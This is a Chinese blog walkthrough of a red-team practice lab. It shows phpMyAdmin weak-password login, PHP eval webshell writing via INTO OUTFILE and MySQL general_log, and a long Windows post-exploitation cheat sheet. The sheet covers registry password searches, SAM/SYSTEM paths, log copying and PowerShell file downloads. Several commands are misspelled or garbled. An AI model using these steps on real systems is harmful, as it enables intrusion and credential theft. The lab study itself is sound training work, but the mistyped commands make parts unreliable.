【红日靶场】靶机简单复现水文章【第一篇】


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 开始

0x02 日志利用提权

0x03 获取敏感信息


 

0x01 开始

已知IP段如下:

      公网:192.168.0.139

      内网:192.168.244.139

                  192.168.244.130

 

1. 我们能先访问开放了Web 服务的主机

    192.168.0.139 ,发现额哼?出现phpstudy 探针

2. 顺手Nmap 探测一下开放了有啥端口

3. 顺路目录扫描探测哈,发现存在phpmyadmin

5. 访问phpmyadmin,尝试是否存在弱口令,root/root或root/密码为空

6. 连接成功?那么我们直接访问刚刚目录扫描出来的phpmyadmin路径 

    http://192.168.0.139/phpmyadmin/index.php

输入账号root 密码root,成功登陆phpMyadmin

7. 此时,我们应该干嘛? 都拿到数据库后台管理权限了,还是root权限,不拿Webshell 的黑客,不是一个好黑客,日它。

    这里有很多数据库,我们选择mysql,点击SQL 查询

8. 尝试写WebShell

    写WebShell 需要两个条件:知道绝对路径和拥有执行权限

    phpmyadmiN 后台写Webshell 的时候,发现自己还不知道绝对路径,记忆中好像看到刚刚在目录扫描中看到phpinfo.php,感觉有戏。走一波

CREATE TABLE agantable(cmd test NOT NULL);

INSERT INTO agantable(cmd) VALUE('<?php @eval ($_post('520');?>')

SELECT cmd FROM agantable INFO OUTEFILE ' '

DROP TABLE IF EXISTS agantable

select '<?php @eval($_POST[agan]);?>' into outfile 'C:/phpStudy/WWW/agan1.php'

日志来写入一句话select '<?php @eval($_POST[agan]);?>'

 

phpinfo页面

1. 操作系统为Windows 7 Business Edition Service Pack 1或Windows NT STU1 6.1 build 7601

2. 服务使用为Apache 2.0 Handler

3. 网站路径:C:/phpStudy/www (DOCUMENT_ROOT)

4. 网站真实IP:192.168.0.139 (SERVER_ADDR)

5. 一些敏感配置:发现,allow_url_include(关闭)

allow_url_include  #该项如果开启,则支持远程文件包含,如果有存在文件包含的文件则可直接getshell,或可以使用php伪协议

disable_function   #该项表示禁用的函数名

magic_quotes_gpc #php5.4以下版本有的函数,默认开启,会对特殊字符进行转移(php5.3.4以下 + magic_quotes_gpc off 可%00截断)

6. php版本信息为PHP 5.4.45

7. GOPHER 协议

也算是ssrf一部分吧,或者说主要靠ssrf利用起来,如果支持gopher,ssrf便没有压力咯

8. fastcgi (无开)

查看是否开启fastcgi和fastcgi的版本,可能导致解析漏洞、远程命令执行、任意文件读取等问题

9. php扩展路径(extension_dir)

php扩展的路径

10. asp_tags(无开)

php标签有四种格式,这个是asp风格的,默认不开启。可以上传.haccess/user.ini 绕过(php7移除)

11. magic_quotes_gpc(此版本无该参数)

魔术引号,它是用来实现addslshes()和stripslashes()这两个功能的,对SQL注入进行防御。

顺便提一嘴用了addslshes()除非是有编码问题要不然是不存在注入的。

12. open_basedir(无限制)

将用户可操作的文件限制在某目录下

13. imagick

这个的远程执行

14. libxml

libxml 2.9以前的版本默认支持并开启了外部实体的引用,

服务端解析用户提交的 xml 文件时未对 xml 文件引用的外部实体

(含外部普通实体和外部参数实体)做合适的处理,会导致XXE。

15. memcache

Memcache未授权访问漏洞利用及修复:

http://blog.nsfocus.net/memcache-unauthorized-access-exploit/

16. redis

17. session

18. xdebug

19. fastcgi

20. 泄漏缓存文件地址(_FILES[“file1”])

向phpinfo() post一个shell可以在_FILES[“file1”]中看到上传的临时文件,

如果有个lfi,便可以直接getshell了(使用条件竞争)。

https://www.freebuf.com/articles/web/79830.html

 

Sercure_file_priv 变量值为空不可读写,且变量只读不可编辑

这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。

如果这个参数为空,这个变量没有效果;

如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;

如果这个参数为NULL,MySQL服务会禁止导入和导出操作。

这个参数在MySQL 5.7.6版本引入secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改

windows下:

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

Linux下:

在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。

 

0x02 日志利用提权

      在php文件包含漏洞中我们有过这种利用方法:攻击时进行一次附带代码的url请求,在日志记录这次请求之后,通过文件包含漏洞来包含这个日志文件,从而执行请求中的代码。

      mysql也具有日志,我们也可以通过日志来getshell。

      mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志。

      PS:因为为了性能考虑,一般general log不会开启。slow log可以定位一些有性能问题的sql,而general log会记录所有的SQL。

      MySQL5.0版本,如果要开启slow log、general log,需要重启。

      MySQL5.1.6版开始,general query log和slow query log开始支持写到文件或者数据库表两种方式,并且日志的开启,输出方式的修改,都可以在Global级别动态修改。

set global general_log = ON;
set global general_log_file = 'C:/phpStudy/www/agan1.php';

PS:此时开启了general_log 将所有查询语句记录到新指定的可访问的文件中

访问下看看http://192.168.0.139/agan1.php 看看,显示乱码(或我们看不懂的东西就对了),基本上成功上传Webshell了

打开蚁剑(蚁剑在手,天下我有)

蚁剑连接WebShell 操作步骤:

  1. 打开蚁剑右键【添加数据】

2. 添加关键参数:URL地址和刚刚自己写入日志的WebShell 密码,其次还有连接方式默认是PHP(我们渗透的网站也是PHP,那就保持默认吧)其它的参数也保持默认吧,需要再改

3. 双击URL地址连接

0x03 获取敏感信息

下面是整理的信息收集手段,具体来自哪里,我叶搞忘了,前段时间整理的时候,忘记写明出处了,如果有知道的,可以联系我,我附上链接

查看当前权限

或echo %USERNAME%

主机名

所属域信息

set 环境变量

wmic qfe list 获取补丁情况

      但是其获取的内容不是很完整,只能看到补丁的编号,下面这条命令可以获取完整的补丁信息。

      wmic是一个非常强大的工具,可以做很多事情,在渗透测试中有很多机会使用它

sc query state= all注册表服务信息

 

net view 获取在线主机信息

      环境问题所致,所以看不到所处环境主机的信息

获取本地用户组、本地用户、本地管理员信息

     1) 本地用户组

net localgroup

      2)本地用户

net user

            列举用户,查看是否有旧的用户配置文件没有清理

dir /b /ad "C:\Users\"

dir /b /ad "C:\Documents and Settings\" #Windows XP and below

      查看是否有其它人登录

qwinsta

      查看注册表中跟用户自动登录有关的内容

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>null | findstr "DefaultUserName DefaultDomainName DefaultPassword"

      查看Credential Manager中的内容:

cmdky /list

      确定是否可以访问SAM和SYSTEM文件:           

%SYSTEMROOT%\repair\SAM

%SYSTEMROOT%\System32\config\RegBack\SAM

%SYSTEMROOT%\System32\config\SAM

%SYSTEMROOT%\repair\system

%SYSTEMROOT%\System32\config\SYSTEM

%SYSTEMROOT%\System32\config\RegBack\system

      3)本地管理员信息

net localgroup administrators

      获取本地共享信息

net view /a \ %COMPUTRNAME%

            PS:本地共享目录也是我们需要关注的目录,这里面可能会有很多对我们提升权限有帮助的重要文件。

      获取IP信息

ipconfig /all

获得本地端口开放与连接信息

 netstat  -ano

查看本地的计划任务

at或schtask

      从计划任务中我们可以了解,这台主机每天做哪些任务,或者当前用户经常做哪些操作,甚至可以通过计划任务信息,可以获取到用户另外的帐号密码信息。

列出iis的站点有哪些

%windir%\system32\inetsrv\AppCmd.exe list site

保存系统上所有注册表信息

     这几个命令比较暴力,有时候我们需要多次查询注册表信息,这样就需要执行很多条命令,我们可以把系统的所有注册表信息dump下来,本地分析,可以尽量减少执行命令的次数,减少日志量,减少被发现的机率:        

 reg export HKLM hklm.reg

reg export HKCU hkcu.reg

reg export HKCU hkcr.reg

reg export HKCU hku.reg

reg export HKCU hkcc.reg

获取系统日志信息

     日志信息不管在任何系统上都是非常重要的,所以在Windows信息收集方面,收集日志信息是必不可少的操作,获取日志的方式有两种,一种是可以将系统的日志复制回本地分析,一种是使用Windows官方的工具将日志导出然后保存到本地。

     复制日志文件:          

copy C:\Windows\System32\winevt\Logs\System.evtx

copy C:\Windows\System32\winevt\Logs\security.evtx

copy C:\Windows\System32\winevt\Logs\application.evtx

     使用工具导出:        

 ..\psloglist -x system > system.log

..\psloglist -x security > security.log

..\psloglist -x application > application.log

查看连接驱动     

net use

wmic logicaldisk  get  caption,description,providername

查看安装了什么软件

dir /a "C:\Program Files"

dir /a "C"\Program Files(x86)"

reg query HEKY_LOCAL_MACHIN\SOFTWARE

有没有文件夹或文件权限配置错误,查看“Program Files”和“Program Files (x86)”下对“Everyone”和“Users”开放所有权限的文件夹

icals "C:\Program Files\*" 2>null | findstr "(F)" | findstr "Everyone"

icals "C:\Program Files(x86\*)" 2>null |findstr "(F)" | findstr "Everyone"


icals "C:\Program Files\*" 2>null | findstr "(F)" | findstr "BUILIN\Users"

icals "C:\Program Files(x86\*)" 2>null | findstr "(F)" |findstr "BUILIN\Users"

 

查看“Program Files”和“Program Files (x86)”下对“Everyone”和“Users”开放修改权限的文件夹:

icals "C:\Program Files\*" 2>null | findstr "(M)" | findstr "Everyone"

icals "C:\Program Files(x86\*)" 2>null |findstr "(M)" | findstr "Everyone"


icals "C:\Program Files\*" 2>null | findstr "(M)" | findstr "BUILIN\Users"

icals "C:\Program Files(x86\*)" 2>null | findstr "(M)" |findstr "BUILIN\Users"

你也可以从Sysinternals上传accesschk来检查可写文件夹和文件:

accesschk.exe -qwsu "Everyone" *

accesschk.exe -qwsu "Authenticated Users" *

accesschk.exe -qwsu "Users" *

查看系统上正在运行的进程/服务有哪些,以及有没有暴露的内部服务:

tasklist /svc

taskkill /v

net start

sc query

使用accesschk查看权限配置较弱的服务,以及能否重新配置

accesschk.exe -uwcqv "Everyone" *

accesschk.exe -uwcqv "Authenticated Users" *

accesschk.exe -uwcqv "Users" *

查看未引用的服务路径:

wmic service get name.displayname,pathma,e,startmode 2>nul | findstr /i "Auto" 2>nul | findstr /i /v "C:\Windows\\" 2>nul | findstr /i /v """

查看计划任务和自定义实现:

schtasks /query /fo LIST 2>nul | findstr TaskName

dir C:\windows\tasks

查看启动项:

wmic startup get caption,command

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"

dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

注意AlwaysInstallElevated是否启用:

reg query HKCU\Software\Microsoft\Windows\Installer /v AlwaysInstallElevated

查看路由器信息

route print

查看ARP 缓存

arp -a

查看是否连接到其它主机

netstat -ano

查看hosts文件

C:\WINDOWS\System32\drivers\etc\hosts

检查防火墙

netsh firewall show state

netsh firewall show config

netsh advfirewall firewall show rule name=all

netsh advfirewall export "firewall.txt"

查看接口配置

netsh dump

查看SNMP配置

reg query HKLM\SYSTEM\CurrentControlSet'Services\SNMP /s

查看注册表中的密码

reg query HKCU /f password /t REG_SZ /s

reg query HKLM /f password /t REG_SZ /s

查找有没有未清理的sysprep或无人值守的文件:

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

如果服务器是IIS网络服务器,那么inetpub中有什么?是否存在隐藏的目录或者web.config文件:

dir /a C:\inetpub\

dir /s Web.config

C:\Windows\System32\inetsrv\config\applicationHost.config

查看日志:

c:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log

c:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log

c:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log

c:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log

检查是否安装了XAMPP,Apache或PHP,以及是否有XAMPP,Apache或PHP的配置文件

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf

查看是否有Apache网络日志

dir /s acces.log error.log

查看是否有其它有意思的文件,它们可能在用户目录中(桌面,文档等):

dir /s *pass* == *vnc* == *.config* 2>nul

检查其中是否有包含密码的文件

findstr /si password *.xml *.ini *.txt *.config 2>nul

在提权过程中,你需要将文件放到你的目标上。下面是一些简单方法:

Powershell Cmdlet(Powershell 3.0及更高版本):

Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"

Powershell One-Liner:

(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename","C:\Windows\Temp\filename")

参考链接(大部分内容来自如下文章):

               https://mp.weixin.qq.com/s/hL9OYa7HDeMvUWdv99gtrA

               https://mp.weixin.qq.com/s/nAGjUsre2Hg_IkCPXLxYDQ

               https://mp.weixin.qq.com/s/QLoXt5JTjHreUkZIg1uW3g


虽然我们生活在阴沟里,但依然有人仰望星空!


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章